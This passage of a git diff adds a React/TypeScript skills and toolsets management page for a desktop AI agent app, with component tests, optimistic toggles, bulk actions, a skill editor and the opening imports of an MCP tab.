+  // Shared singleton client — drop cached skills/toolsets so each test refetches.
+  queryClient.clear()
+})
+
+describe('SkillsView toolset management', () => {
+  it('renders a switch for each toolset and toggles it off', async () => {
+    await renderSkills()
+
+    // The switch names the action, so an enabled toolset offers to turn it off.
+    const sw = await screen.findByRole('switch', { name: 'Turn Web Search toolset off' })
+    expect(sw.getAttribute('aria-checked')).toBe('true')
+
+    await act(async () => {
+      fireEvent.click(sw)
+    })
+
+    await waitFor(() => expect(setToolsetEnabled).toHaveBeenCalledWith('web', false))
+  })
+
+  it('renders toolset titles without leading emoji', async () => {
+    getToolsets.mockResolvedValue([toolset({ name: 'cronjob', label: '⏰ Cron Jobs', description: 'cron tools' })])
+
+    await renderSkills()
+
+    // The label renders in both the row and the auto-selected detail header, so
+    // assert via the switch's (emoji-stripped) accessible name and the absence
+    // of the emoji rather than a single-match text lookup.
+    await screen.findByRole('switch', { name: 'Turn Cron Jobs toolset off' })
+    expect(screen.queryByText(/⏰/)).toBeNull()
+  })
+
+  it('renders the provider config panel inline for the selected toolset', async () => {
+    // The master-detail UI dropped the resting "Configured" pill and the
+    // "Configure" expander: the detail column auto-selects the first toolset
+    // and renders its config panel directly, which fetches on mount.
+    await renderSkills()
+
+    await screen.findByRole('switch', { name: 'Turn Web Search toolset off' })
+    await waitFor(() => expect(getToolsetConfig).toHaveBeenCalledWith('web'))
+  })
+
+  it('shows a vision explainer that deep-links to Settings → Models', async () => {
+    // Vision has no TOOL_CATEGORIES provider matrix — its model lives in the
+    // auxiliary model config, so the detail pane must point there instead of
+    // rendering an empty panel.
+    getToolsets.mockResolvedValue([
+      toolset({
+        name: 'vision',
+        label: 'Vision / Image Analysis',
+        description: 'vision_analyze',
+        tools: ['vision_analyze']
+      })
+    ])
+    getToolsetConfig.mockResolvedValue({ has_category: false, active_provider: null, providers: [] })
+
+    await renderSkills()
+
+    expect(await screen.findByText(/auxiliary model configuration/)).toBeTruthy()
+    const link = screen.getByRole('button', { name: /Choose vision model in Settings/ })
+
+    await act(async () => {
+      fireEvent.click(link)
+    })
+
+    // Internal route change into the Models section with the aux slot target —
+    // consumed by ModelSettings' deep-link highlight. Never an external URL.
+    await waitFor(() => expect(navigateSpy).toHaveBeenCalledWith('/settings?tab=config:model&aux=vision'))
+  })
+})
diff --git a/ui-desktop/src/app/skills/index.tsx b/ui-desktop/src/app/skills/index.tsx
new file mode 100644
index 000000000..3b9b8cb1e
--- /dev/null
+++ b/ui-desktop/src/app/skills/index.tsx
@@ -0,0 +1,824 @@
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import type * as React from 'react'
+import { useCallback, useEffect, useMemo, useRef, useState } from 'react'
+import { useNavigate } from 'react-router'
+
+import { ArchiveSkillConfirmDialog } from '@/app/learning/archive-skill-confirm-dialog'
+import {
+  editLearningNode,
+  getLearningNode,
+  getSkills,
+  getToolsets,
+  getUsageAnalytics,
+  setSkillEnabled,
+  setToolsetEnabled
+} from '@/clawcodex'
+import { CodeEditor } from '@/components/chat/code-editor'
+import { PageLoader } from '@/components/page-loader'
+import { Badge } from '@/components/ui/badge'
+import { Button } from '@/components/ui/button'
+import { CountSkeleton } from '@/components/ui/skeleton'
+import { useI18n } from '@/i18n'
+import { isDesktopToolsetVisible } from '@/lib/desktop-toolsets'
+import { compactNumber } from '@/lib/format'
+import { queryClient, writeCache } from '@/lib/query-client'
+import { invalidateSlashCompletions } from '@/lib/slash-completion-cache'
+import { normalize } from '@/lib/text'
+import { useStoreSelector } from '@/lib/use-session-slice'
+import { $gateway } from '@/store/gateway'
+import { notify, notifyError } from '@/store/notifications'
+import { $activeGatewayProfile, normalizeProfileKey } from '@/store/profile'
+import type { SkillInfo, ToolsetInfo } from '@/types/clawcodex'
+
+import { useOnProfileSwitch } from '../hooks/use-on-profile-switch'
+import { useRefreshHotkey } from '../hooks/use-refresh-hotkey'
+import { useRouteEnumParam } from '../hooks/use-route-enum-param'
+import {
+  CapRow,
+  DetailColumn,
+  DetailPane,
+  ListColumn,
+  ListStrip,
+  ListStripButton,
+  ListStripMenu,
+  type ListStripMenuToggle,
+  MasterDetail,
+  ToolChip
+} from '../master-detail'
+import { PanelEmpty, PanelPill } from '../overlays/panel'
+import { PageSearchShell } from '../page-search-shell'
+import { SETTINGS_ROUTE } from '../routes'
+import { ComputerUsePanel } from '../settings/computer-use-panel'
+import { asText, includesQuery, prettyName, toolNames, toolsetDisplayLabel } from '../settings/helpers'
+import { TerminalBackendPanel } from '../settings/terminal-backend-panel'
+import { ToolsetConfigPanel } from '../settings/toolset-config-panel'
+import type { SetStatusbarItemGroup } from '../shell/statusbar-controls'
+
+import { SkillsHub } from './hub'
+import { McpTab } from './mcp-tab'
+import { $skillsSortDesc, $toolsetsSortDesc } from './store'
+
+const SKILLS_MODES = ['skills', 'toolsets', 'mcp', 'hub'] as const
+
+// Skills + toolsets live in the RQ cache so switching tabs/pages paints the
+// cached lists instantly (no reload flash) and mount only fires a deduped
+// background refetch. A profile swap globally invalidates (see store/profile),
+// so these plain keys refetch against the new backend automatically.
+const SKILLS_QUERY_KEY = ['skills-list'] as const
+const TOOLSETS_QUERY_KEY = ['toolsets-list'] as const
+
+// Optimistic write-through: toggles/bulk/archive repaint instantly; the next
+// background refetch reconciles with the backend.
+const setSkills = writeCache<SkillInfo[]>(SKILLS_QUERY_KEY)
+const setToolsets = writeCache<ToolsetInfo[]>(TOOLSETS_QUERY_KEY)
+
+// Per-tool call counts come from a 365-day message scan — heavy, and purely
+// cosmetic (Toolsets usage badges). Cache the result module-wide with a TTL so
+// bouncing between tabs/pages doesn't re-run the scan every time. Keyed by
+// profile: analytics are profile-scoped, so a switch must not show the previous
+// profile's counts. `useRefreshHotkey` still forces a fresh pull.
+const TOOL_CALLS_TTL_MS = 10 * 60 * 1000
+const toolCallsCache = new Map<string, { at: number; value: Record<string, number> }>()
+
+async function loadToolCalls(force = false): Promise<Record<string, number>> {
+  const key = normalizeProfileKey($activeGatewayProfile.get())
+  const cached = toolCallsCache.get(key)
+
+  if (!force && cached && Date.now() - cached.at < TOOL_CALLS_TTL_MS) {
+    return cached.value
+  }
+
+  const analytics = await getUsageAnalytics(365)
+
+  const value = Object.fromEntries((analytics.tools ?? []).map(e => [e.tool, e.count]))
+
+  // Only cache if the active profile hasn't changed during the request — else a
+  // switch mid-flight would file this result under the wrong profile's key.
+  if (normalizeProfileKey($activeGatewayProfile.get()) === key) {
+    toolCallsCache.set(key, { at: Date.now(), value })
+  }
+
+  return value
+}
+
+const usageOf = (skill: SkillInfo): number => (typeof skill.usage === 'number' ? skill.usage : 0)
+
+const categoryFor = (skill: SkillInfo): string => asText(skill.category) || 'general'
+
+// Row subtitle: category, with non-default origins badged.
+function skillSubtitle(skill: SkillInfo): React.ReactNode {
+  const category = prettyName(categoryFor(skill))
+  const provenance = skill.provenance
+
+  return (
+    <>
+      <span className="truncate">{category}</span>
+      {provenance === 'agent' && (
+        <Badge className="shrink-0 normal-case" variant="default">
+          learned
+        </Badge>
+      )}
+      {provenance === 'hub' && (
+        <Badge className="shrink-0 normal-case" variant="muted">
+          hub
+        </Badge>
+      )}
+    </>
+  )
+}
+
+function filteredSkills(skills: SkillInfo[], query: string, desc: boolean): SkillInfo[] {
+  const q = normalize(query)
+  const sign = desc ? 1 : -1
+
+  return skills
+    .filter(
+      skill =>
+        !q || includesQuery(skill.name, q) || includesQuery(skill.description, q) || includesQuery(skill.category, q)
+    )
+    .sort((a, b) => sign * (usageOf(b) - usageOf(a)) || asText(a.name).localeCompare(asText(b.name)))
+}
+
+const toolsetCalls = (toolset: ToolsetInfo, toolCalls: Record<string, number>): number =>
+  toolNames(toolset).reduce((sum, name) => sum + (toolCalls[name] ?? 0), 0)
+
+function filteredToolsets(
+  toolsets: ToolsetInfo[],
+  query: string,
+  toolCalls: Record<string, number>,
+  desc: boolean
+): ToolsetInfo[] {
+  const q = normalize(query)
+  const sign = desc ? 1 : -1
+
+  return toolsets
+    .filter(toolset => {
+      if (!isDesktopToolsetVisible(toolset.name)) {
+        return false
+      }
+
+      if (!q) {
+        return true
+      }
+
+      return (
+        includesQuery(toolset.name, q) ||
+        includesQuery(toolsetDisplayLabel(toolset), q) ||
+        includesQuery(toolset.description, q) ||
+        toolNames(toolset).some(name => includesQuery(name, q))
+      )
+    })
+    .sort(
+      (a, b) =>
+        sign * (toolsetCalls(b, toolCalls) - toolsetCalls(a, toolCalls)) ||
+        toolsetDisplayLabel(a).localeCompare(toolsetDisplayLabel(b))
+    )
+}
+
+const visibleToolsetCount = (toolsets: ToolsetInfo[]) => toolsets.filter(ts => isDesktopToolsetVisible(ts.name)).length
+
+interface SkillsViewProps extends React.ComponentProps<'section'> {
+  setStatusbarItemGroup?: SetStatusbarItemGroup
+}
+
+export function SkillsView({ setStatusbarItemGroup: _setStatusbarItemGroup, ...props }: SkillsViewProps) {
+  const { t } = useI18n()
+  const [mode, setMode] = useRouteEnumParam('tab', SKILLS_MODES, 'skills')
+  // $gateway only feeds the MCP tab — gate the subscription so Skills/Toolsets/Hub
+  // tabs don't re-render on connect/disconnect/reconnect.
+  const gateway = useStoreSelector($gateway, g => (mode === 'mcp' ? g : null))
+
+  const [query, setQuery] = useState('')
+
+  const {
+    data: skills,
+    isError: skillsFailed,
+    error: skillsError
+  } = useQuery({
+    queryKey: SKILLS_QUERY_KEY,
+    queryFn: getSkills,
+    staleTime: 0
+  })
+
+  const { data: toolsets, isError: toolsetsFailed } = useQuery({
+    queryKey: TOOLSETS_QUERY_KEY,
+    queryFn: getToolsets,
+    staleTime: 0
+  })
+
+  // tool name -> call count over the analytics window. null = still loading
+  // (badges show skeletons); {} = loaded empty / unavailable backend.
+  const [toolCalls, setToolCalls] = useState<Record<string, number> | null>(null)
+  // Bumped on profile switch so a slow analytics load from profile A can't set
+  // toolCalls after the user moved to B.
+  const toolCallsEpoch = useRef(0)
+  const skillsSortDesc = useStore($skillsSortDesc)
+  const toolsetsSortDesc = useStore($toolsetsSortDesc)
+  const [bulkBusy, setBulkBusy] = useState(false)
+  const [selectedSkill, setSelectedSkill] = useState<string | null>(null)
+  const [selectedToolset, setSelectedToolset] = useState<string | null>(null)
+
+  const refreshCapabilities = useCallback(async () => {
+    await Promise.all([
+      queryClient.invalidateQueries({ queryKey: SKILLS_QUERY_KEY }),
+      queryClient.invalidateQueries({ queryKey: TOOLSETS_QUERY_KEY })
+    ])
+
+    invalidateSlashCompletions()
+
+    // An explicit refresh is the one time we bypass the analytics TTL — but
+    // only if the badges are already on screen; otherwise let the lazy load
+    // pick it up when Toolsets is first shown. Guard the async set against a
+    // profile switch landing before it resolves.
+    if (toolCallsCache.size > 0) {
+      const epoch = toolCallsEpoch.current
+
+      loadToolCalls(true)
+        .then(value => toolCallsEpoch.current === epoch && setToolCalls(value))
+        .catch(() => toolCallsEpoch.current === epoch && setToolCalls({}))
+    }
+  }, [])
+
+  const refreshToolsets = useCallback(() => {
+    void queryClient.invalidateQueries({ queryKey: TOOLSETS_QUERY_KEY })
+  }, [])
+
+  useRefreshHotkey(refreshCapabilities)
+
+  // Per-tool call counts feed ONLY the Toolsets tab's usage badges/sort, and
+  // the query behind them is a 365-day message scan — heavy. Fetch it lazily
+  // the first time Toolsets is shown, never on Skills or MCP, so it can't
+  // starve the MCP tab's config load. Absent → toolsets sort A–Z until it lands.
+  useEffect(() => {
+    if (mode !== 'toolsets' || toolCalls !== null) {
+      return
+    }
+
+    let cancelled = false
+    // Guard the setter by epoch too: when toolCalls is already null at switch
+    // time, setToolCalls(null) is a no-op so this effect never re-runs to flip
+    // `cancelled` — the epoch check catches that gap.
+    const epoch = toolCallsEpoch.current
+    const live = () => !cancelled && toolCallsEpoch.current === epoch
+
+    loadToolCalls()
+      .then(value => live() && setToolCalls(value))
+      .catch(() => live() && setToolCalls({}))
+
+    return () => void (cancelled = true)
+  }, [mode, toolCalls])
+
+  // On a profile switch the analytics cache is profile-keyed, but our local
+  // toolCalls state isn't — leaving it non-null would keep the lazy effect from
+  // ever re-running, so badges/sort would show the previous profile's counts.
+  // Reset to null so the next Toolsets view reloads for the active profile.
+  useOnProfileSwitch(() => {
+    toolCallsEpoch.current += 1
+    setToolCalls(null)
+  })
+
+  const visibleSkills = useMemo(
+    () => (skills ? filteredSkills(skills, query, skillsSortDesc) : []),
+    [query, skills, skillsSortDesc]
+  )
+
+  const visibleToolsets = useMemo(
+    () => (toolsets ? filteredToolsets(toolsets, query, toolCalls ?? {}, toolsetsSortDesc) : []),
+    [query, toolCalls, toolsets, toolsetsSortDesc]
+  )
+
+  // Bulk actions ("All" master switch, "Disable unused") and the master-switch
+  // state target the WHOLE tab, never the search-filtered view — a tab-wide
+  // control that silently scoped to the current query would be a lie.
+  const bulkSkills = skills ?? []
+  const bulkToolsets = useMemo(() => (toolsets ?? []).filter(ts => isDesktopToolsetVisible(ts.name)), [toolsets])
+
+  // Rotating placeholder nudges from the user's own data — teach that search
+  // understands categories and tool names, not just titles.
+  const searchHints = useMemo(() => {
+    if (mode === 'skills' && skills?.length) {
+      const counts = new Map<string, number>()
+
+      for (const skill of skills) {
+        const key = categoryFor(skill)
+        counts.set(key, (counts.get(key) || 0) + 1)
+      }
+
+      return [...counts.entries()]
+        .sort(([, a], [, b]) => b - a)
+        .slice(0, 5)
+        .map(([category]) => t.common.tryHint(category.toLowerCase()))
+    }
+
+    if (mode === 'toolsets' && toolsets?.length) {
+      return toolsets
+        .filter(ts => isDesktopToolsetVisible(ts.name) && toolNames(ts).length > 0)
+        .slice(0, 5)
+        .map(ts => t.common.tryHint(toolNames(ts)[0]))
+    }
+
+    return undefined
+  }, [mode, skills, toolsets, t])
+
+  // Keep a valid selection: fall back to the first visible row when the
+  // current selection is filtered out (or nothing is selected yet).
+  const activeSkill = useMemo(
+    () => visibleSkills.find(s => s.name === selectedSkill) ?? visibleSkills[0] ?? null,
+    [selectedSkill, visibleSkills]
+  )
+
+  const activeToolset = useMemo(
+    () => visibleToolsets.find(ts => ts.name === selectedToolset) ?? visibleToolsets[0] ?? null,
+    [selectedToolset, visibleToolsets]
+  )
+
+  // Single toggles are optimistic and silent on success (the row repaints
+  // immediately — a toast per flip would spam rapid customization). Errors
+  // revert and notify.
+  async function handleToggleSkill(skill: SkillInfo, enabled: boolean) {
+    setSkills(current => current?.map(row => (row.name === skill.name ? { ...row, enabled } : row)) ?? current)
+
+    try {
+      await setSkillEnabled(skill.name, enabled)
+      // A disabled skill loses its `/name` command, so the composer's cached
+      // `/` list has to be dropped along with the row repaint.
+      invalidateSlashCompletions()
+    } catch (err) {
+      setSkills(
+        current => current?.map(row => (row.name === skill.name ? { ...row, enabled: !enabled } : row)) ?? current
+      )
+      notifyError(err, t.skills.failedToUpdate(skill.name))
+    }
+  }
+
+  async function handleToggleToolset(toolset: ToolsetInfo, enabled: boolean) {
+    setToolsets(
+      current =>
+        current?.map(row => (row.name === toolset.name ? { ...row, enabled, available: enabled } : row)) ?? current
+    )
+
+    try {
+      await setToolsetEnabled(toolset.name, enabled)
+    } catch (err) {
+      setToolsets(
+        current =>
+          current?.map(row => (row.name === toolset.name ? { ...row, enabled: !enabled, available: !enabled } : row)) ??
+          current
+      )
+      notifyError(err, t.skills.failedToUpdate(toolsetDisplayLabel(toolset)))
+    }
+  }
+
+  // Sequential on purpose: each toggle is a config read-modify-write on the
+  // backend; parallel calls would race the disabled-list save.
+  async function bulkApply(skillTargets: SkillInfo[], toolsetTargets: ToolsetInfo[], enabled: boolean) {
+    if (bulkBusy || skillTargets.length + toolsetTargets.length === 0) {
+      return
+    }
+
+    setBulkBusy(true)
+
+    let done = 0
+
+    try {
+      for (const row of skillTargets) {
+        await setSkillEnabled(row.name, enabled)
+        setSkills(cur => cur?.map(r => (r.name === row.name ? { ...r, enabled } : r)) ?? cur)
+        done += 1
+      }
+
+      for (const row of toolsetTargets) {
+        await setToolsetEnabled(row.name, enabled)
+        setToolsets(cur => cur?.map(r => (r.name === row.name ? { ...r, enabled, available: enabled } : r)) ?? cur)
+        done += 1
+      }
+
+      notify({ kind: 'success', title: t.skills.bulkUpdated(done), message: '' })
+    } catch (err) {
+      notifyError(err, t.skills.failedToUpdate(mode === 'skills' ? t.skills.tabSkills : t.skills.tabToolsets))
+    } finally {
+      invalidateSlashCompletions()
+      setBulkBusy(false)
+    }
+  }
+
+  const bulkToggle = (enabled: boolean) =>
+    mode === 'skills'
+      ? bulkApply(
+          bulkSkills.filter(row => row.enabled !== enabled),
+          [],
+          enabled
+        )
+      : bulkApply(
+          [],
+          bulkToolsets.filter(row => row.enabled !== enabled),
+          enabled
+        )
+
+  // "Never used" = zero recorded activity. The pruning move for a 100+ skill
+  // install: keep the workhorses, shed the noise.
+  const disableUnused = () =>
+    bulkApply(
+      bulkSkills.filter(skill => skill.enabled && usageOf(skill) === 0),
+      [],
+      false
+    )
+
+  // One switch line covering enable-all/disable-all.
+  const bulkSwitch = (allEnabled: boolean): ListStripMenuToggle => ({
+    checked: allEnabled,
+    disabled: bulkBusy,
+    label: t.skills.all,
+    onToggle: checked => void bulkToggle(checked)
+  })
+
+  const allSkillsEnabled = bulkSkills.length > 0 && bulkSkills.every(s => s.enabled)
+  const allToolsetsEnabled = bulkToolsets.length > 0 && bulkToolsets.every(ts => ts.enabled)
+
+  const sortButton = (desc: boolean, flip: () => void) => (
+    <ListStripButton onClick={flip}>{desc ? t.skills.sortMostUsedDesc : t.skills.sortLeastUsedAsc}</ListStripButton>
+  )
+
+  // Full-bleed empty state, matching the MCP tab (spans both columns, not a
+  // cramped note in the left rail). Query-aware, and says "tools" not the
+  // internal "toolsets".
+  const capabilityEmpty = (noun: string) => {
+    const q = query.trim()
+
+    return (
+      <div className="flex h-full min-h-0 flex-1">
+        <PanelEmpty
+          description={q ? t.skills.emptyNothingMatches(q) : t.skills.emptyNoneAvailable(noun)}
+          icon="search"
+          title={t.skills.emptyNoneFound(noun)}
+        />
+      </div>
+    )
+  }
+
+  // Learned/local skills are editable + archivable, mirroring the memory
+  // graph (same /api/learning/node endpoints — delete archives, restorable
+  // via `clawcodex curator restore`).
+  const [skillEditor, setSkillEditor] = useState<null | { content: string; name: string }>(null)
+  const [skillDraft, setSkillDraft] = useState('')
+  const [skillSaving, setSkillSaving] = useState(false)
+  const [archiveTarget, setArchiveTarget] = useState<null | string>(null)
+  // Bumped on profile switch so an in-flight openSkillEditor fetch from profile
+  // A can't reopen the editor with A's content after switching to B.
+  const skillEditorEpoch = useRef(0)
+
+  // A profile switch swaps the backend under the open editor/archive dialog —
+  // their targets belong to profile A, so a save/archive would hit B. Drop them
+  // so nothing edits or archives against the newly active profile.
+  useOnProfileSwitch(() => {
+    skillEditorEpoch.current += 1
+    setSkillEditor(null)
+    setSkillDraft('')
+    setArchiveTarget(null)
+  })
+
+  const openSkillEditor = async (name: string) => {
+    const epoch = skillEditorEpoch.current
+
+    try {
+      const node = await getLearningNode(name)
+
+      if (skillEditorEpoch.current !== epoch) {
+        return
+      }
+
+      setSkillEditor({ content: node.content, name })
+      setSkillDraft(node.content)
+    } catch (err) {
+      notifyError(err, name)
+    }
+  }
+
+  const saveSkillEdit = async () => {
+    if (!skillEditor) {
+      return
+    }
+
+    setSkillSaving(true)
+
+    try {
+      await editLearningNode(skillEditor.name, skillDraft)
+      notify({
+        kind: 'success',
+        title: t.skills.skillUpdated,
+        message: t.skills.appliesToNewSessions(skillEditor.name)
+      })
+      setSkillEditor(null)
+      void refreshCapabilities()
+    } catch (err) {
+      notifyError(err, skillEditor.name)
+    } finally {
+      setSkillSaving(false)
+    }
+  }
+
+  const skillEditorPane = skillEditor && (
+    <DetailPane
+      actions={
+        <Button disabled={skillSaving} onClick={() => void saveSkillEdit()} size="xs">
+          {skillSaving ? t.common.saving : t.common.save}
+        </Button>
+      }
+      id="skill-editor"
+      onClose={() => setSkillEditor(null)}
+      title={<span className="text-[0.68rem] font-normal text-muted-foreground/60">{skillEditor.name}/SKILL.md</span>}
+    >
+      <CodeEditor
+        filePath="SKILL.md"
+        initialValue={skillEditor.content}
+        key={skillEditor.name}
+        onCancel={() => setSkillEditor(null)}
+        onChange={setSkillDraft}
+        onSave={() => void saveSkillEdit()}
+      />
+    </DetailPane>
+  )
+
+  return (
+    <PageSearchShell
+      {...props}
+      activeTab={mode}
+      onSearchChange={setQuery}
+      onTabChange={id => setMode(id as (typeof SKILLS_MODES)[number])}
+      // MCP manages a handful of entries with the editor right there —
+      // searching it is noise.
+      searchHidden={mode === 'mcp'}
+      searchHints={searchHints}
+      searchPlaceholder={
+        mode === 'skills'
+          ? t.skills.searchSkills
+          : mode === 'hub'
+            ? t.skills.hub.searchPlaceholder
+            : t.skills.searchToolsets
+      }
+      searchValue={query}
+      tabs={[
+        { id: 'skills', label: t.skills.tabSkills, meta: skills?.length ?? null },
+        { id: 'toolsets', label: t.skills.tabToolsets, meta: toolsets ? visibleToolsetCount(toolsets) : null },
+        { id: 'mcp', label: t.skills.tabMcp },
+        { id: 'hub', label: t.skills.tabHub }
+      ]}
+    >
+      {mode === 'hub' ? (
+        <SkillsHub query={query} />
+      ) : mode === 'mcp' ? (
+        <McpTab gateway={gateway} />
+      ) : (skillsFailed || toolsetsFailed) && (!skills || !toolsets) ? (
+        <PanelEmpty
+          action={
+            <Button onClick={() => void refreshCapabilities()} size="sm">
+              {t.skills.refresh}
+            </Button>
+          }
+          description={skillsError instanceof Error ? skillsError.message : undefined}
+          icon="error"
+          title={t.skills.skillsLoadFailed}
+        />
+      ) : !skills || !toolsets ? (
+        <PageLoader label={t.skills.loading} />
+      ) : mode === 'skills' ? (
+        visibleSkills.length === 0 ? (
+          capabilityEmpty('skills')
+        ) : (
+          <MasterDetail pane={skillEditorPane} split="wide">
+            <ListColumn
+              header={
+                <ListStrip
+                  left={sortButton(skillsSortDesc, () => $skillsSortDesc.set(!$skillsSortDesc.get()))}
+                  right={
+                    <ListStripMenu
+                      items={[
+                        { disabled: bulkBusy, label: t.skills.disableUnused, onSelect: () => void disableUnused() }
+                      ]}
+                      label={t.skills.tabSkills}
+                      toggle={bulkSwitch(allSkillsEnabled)}
+                    />
+                  }
+                />
+              }
+            >
+              {visibleSkills.map(skill => (
+                <CapRow
+                  active={activeSkill?.name === skill.name}
+                  busy={bulkBusy}
+                  enabled={skill.enabled}
+                  key={skill.name}
+                  meta={usageOf(skill) > 0 ? `×${compactNumber(usageOf(skill))}` : undefined}
+                  onSelect={() => setSelectedSkill(skill.name)}
+                  onToggle={enabled => void handleToggleSkill(skill, enabled)}
+                  subtitle={skillSubtitle(skill)}
+                  title={skill.name}
+                  toggleLabel={skill.name}
+                />
+              ))}
+            </ListColumn>
+            <DetailColumn footer={t.skills.changesApplyNewSessions}>
+              {activeSkill && (
+                <SkillDetail
+                  onArchive={() => setArchiveTarget(activeSkill.name)}
+                  onEdit={() => void openSkillEditor(activeSkill.name)}
+                  skill={activeSkill}
+                />
+              )}
+            </DetailColumn>
+          </MasterDetail>
+        )
+      ) : visibleToolsets.length === 0 ? (
+        capabilityEmpty('tools')
+      ) : (
+        <MasterDetail split="wide">
+          <ListColumn
+            header={
+              <ListStrip
+                left={sortButton(toolsetsSortDesc, () => $toolsetsSortDesc.set(!$toolsetsSortDesc.get()))}
+                right={<ListStripMenu label={t.skills.tabToolsets} toggle={bulkSwitch(allToolsetsEnabled)} />}
+              />
+            }
+          >
+            {visibleToolsets.map(toolset => {
+              const label = toolsetDisplayLabel(toolset)
+              const calls = toolCalls ? toolsetCalls(toolset, toolCalls) : null
+
+              return (
+                <CapRow
+                  active={activeToolset?.name === toolset.name}
+                  busy={bulkBusy}
+                  enabled={toolset.enabled}
+                  key={toolset.name}
+                  meta={
+                    calls === null ? (
+                      <CountSkeleton />
+                    ) : calls > 0 ? (
+                      `×${compactNumber(calls)}`
+                    ) : (
+                      `${toolNames(toolset).length} tools`
+                    )
+                  }
+                  onSelect={() => setSelectedToolset(toolset.name)}
+                  onToggle={checked => void handleToggleToolset(toolset, checked)}
+                  subtitle={asText(toolset.description)}
+                  title={label}
+                  toggleLabel={t.skills.toggleToolset(label, !toolset.enabled)}
+                />
+              )
+            })}
+          </ListColumn>
+          <DetailColumn footer={t.skills.changesApplyNewSessions}>
+            {activeToolset && (
+              <ToolsetDetail onConfiguredChange={refreshToolsets} toolCalls={toolCalls ?? {}} toolset={activeToolset} />
+            )}
+          </DetailColumn>
+        </MasterDetail>
+      )}
+      {archiveTarget && (
+        <ArchiveSkillConfirmDialog
+          onApply={() => {
+            const name = archiveTarget
+            const snapshot = skills
+
+            setSkills(current => current?.filter(skill => skill.name !== name) ?? current)
+            invalidateSlashCompletions()
+
+            if (skillEditor?.name === name) {
+              setSkillEditor(null)
+            }
+
+            return () => setSkills(snapshot)
+          }}
+          onClose={() => setArchiveTarget(null)}
+          onFailure={(err, name) => notifyError(err, name)}
+          open
+          skillId={archiveTarget}
+          skillName={archiveTarget}
+        />
+      )}
+    </PageSearchShell>
+  )
+}
+
+// Shared inspector header — mirrors Messaging's PlatformDetail so Skills and
+// Tools share one title/description block and tab switches don't jump.
+function DetailHeader({
+  description,
+  pills,
+  title
+}: {
+  description: React.ReactNode
+  pills?: React.ReactNode
+  title: string
+}) {
+  return (
+    <header>
+      <div className="flex min-h-6 flex-wrap items-center gap-2">
+        <h3 className="min-w-0 truncate text-[0.9375rem] font-semibold tracking-tight">{title}</h3>
+        {pills}
+      </div>
+      <p className="mt-1 text-[length:var(--conversation-caption-font-size)] leading-(--conversation-caption-line-height) text-(--ui-text-tertiary)">
+        {description}
+      </p>
+    </header>
+  )
+}
+
+function SkillDetail({ onArchive, onEdit, skill }: { onArchive: () => void; onEdit: () => void; skill: SkillInfo }) {
+  const { t } = useI18n()
+  // Only learned/local skills are the user's to rewrite or archive — bundled
+  // and hub skills are managed by their sources.
+  const editable = skill.provenance === 'agent'
+
+  return (
+    <>
+      <DetailHeader
+        description={asText(skill.description) || t.skills.noDescription}
+        pills={
+          <>
+            <PanelPill>{prettyName(categoryFor(skill))}</PanelPill>
+            {skill.provenance && skill.provenance !== 'bundled' && (
+              <PanelPill tone={skill.provenance === 'agent' ? 'good' : 'muted'}>
+                {t.skills.provenance[skill.provenance]}
+              </PanelPill>
+            )}
+          </>
+        }
+        title={skill.name}
+      />
+      {editable && (
+        <div className="flex items-center gap-2">
+          <Button onClick={onEdit} size="xs" variant="text">
+            {t.skills.edit}
+          </Button>
+          <Button className="text-destructive hover:text-destructive" onClick={onArchive} size="xs" variant="text">
+            {t.skills.archive}
+          </Button>
+        </div>
+      )}
+    </>
+  )
+}
+
+function ToolsetDetail({
+  toolset,
+  toolCalls,
+  onConfiguredChange
+}: {
+  toolset: ToolsetInfo
+  toolCalls: Record<string, number>
+  onConfiguredChange: () => void
+}) {
+  const { t } = useI18n()
+  const navigate = useNavigate()
+  const tools = toolNames(toolset)
+  const label = toolsetDisplayLabel(toolset)
+
+  return (
+    <>
+      {/* "Configured" as a resting state is noise — only the warn state earns a pill. */}
+      <DetailHeader
+        description={asText(toolset.description) || t.skills.noDescription}
+        pills={!toolset.configured && <PanelPill tone="warn">{t.skills.needsKeys}</PanelPill>}
+        title={label}
+      />
+      {tools.length > 0 && (
+        <div className="flex flex-wrap gap-1">
+          {tools.map(name => (
+            <ToolChip key={name}>
+              {name}
+              {(toolCalls[name] ?? 0) > 0 && (
+                <span className="ml-1 text-(--ui-text-quaternary)">×{compactNumber(toolCalls[name])}</span>
+              )}
+            </ToolChip>
+          ))}
+        </div>
+      )}
+      {toolset.name === 'vision' && (
+        // Vision has no provider matrix — model resolution runs through the
+        // auxiliary model config. Point at the actual home (Settings → Models,
+        // aux "vision" row) via an internal deep link instead of leaving the
+        // detail pane empty.
+        <div className="grid gap-1.5">
+          <p className="text-[length:var(--conversation-caption-font-size)] text-(--ui-text-tertiary)">
+            {t.skills.visionModelHint}
+          </p>
+          <div>
+            <Button
+              onClick={() => navigate(`${SETTINGS_ROUTE}?tab=config:model&aux=vision`)}
+              size="xs"
+              variant="textStrong"
+            >
+              {t.skills.visionModelLink}
+            </Button>
+          </div>
+        </div>
+      )}
+      {toolset.name === 'computer_use' && <ComputerUsePanel onConfiguredChange={onConfiguredChange} />}
+      {toolset.name === 'terminal' && <TerminalBackendPanel onConfiguredChange={onConfiguredChange} />}
+      <ToolsetConfigPanel key={toolset.name} onConfiguredChange={onConfiguredChange} toolset={toolset.name} />
+    </>
+  )
+}
diff --git a/ui-desktop/src/app/skills/mcp-tab.tsx b/ui-desktop/src/app/skills/mcp-tab.tsx
new file mode 100644
index 000000000..b8505a239
--- /dev/null
+++ b/ui-desktop/src/app/skills/mcp-tab.tsx
@@ -0,0 +1,1689 @@
+import {
+  SiFigma,
+  SiGithub,
+  SiGitlab,
+  SiLinear,
+  SiNotion,
+  SiPostgresql,
+  SiSentry,
+  SiStripe,
+  SiSupabase,
+  SiVercel
+} from '@icons-pack/react-simple-icons'
+import { useStore } from '@nanostores/react'
+import { useQuery } from '@tanstack/react-query'
+import { type ComponentType, type SVGProps, useEffect, useMemo, useRef, useState } from 'react'
+
+import {
+  authMcpServer,
+  type ClawCodexGateway,
+  getActionStatus,
+  getLogs,
+  getMcpCatalog,
+  getMcpOAuthFlow,
+  installMcpCatalogEntry,
+  type McpCatalogEntry,
+  type McpTestResult,
+  saveMcpServers,
+  testMcpServer
+} from '@/clawcodex'
+import { type CodeEditorApi } from '@/components/chat/code-editor'
+import { JsonDocumentEditor } from '@/components/chat/json-document-editor'
+import { LogTail } from '@/components/chat/log-tail'
+import { PageLoader } from '@/components/page-loader'
+import { Button } from '@/components/ui/button'
+import { Codicon } from '@/components/ui/codicon'
+import { ErrorBanner } from '@/components/ui/error-state'
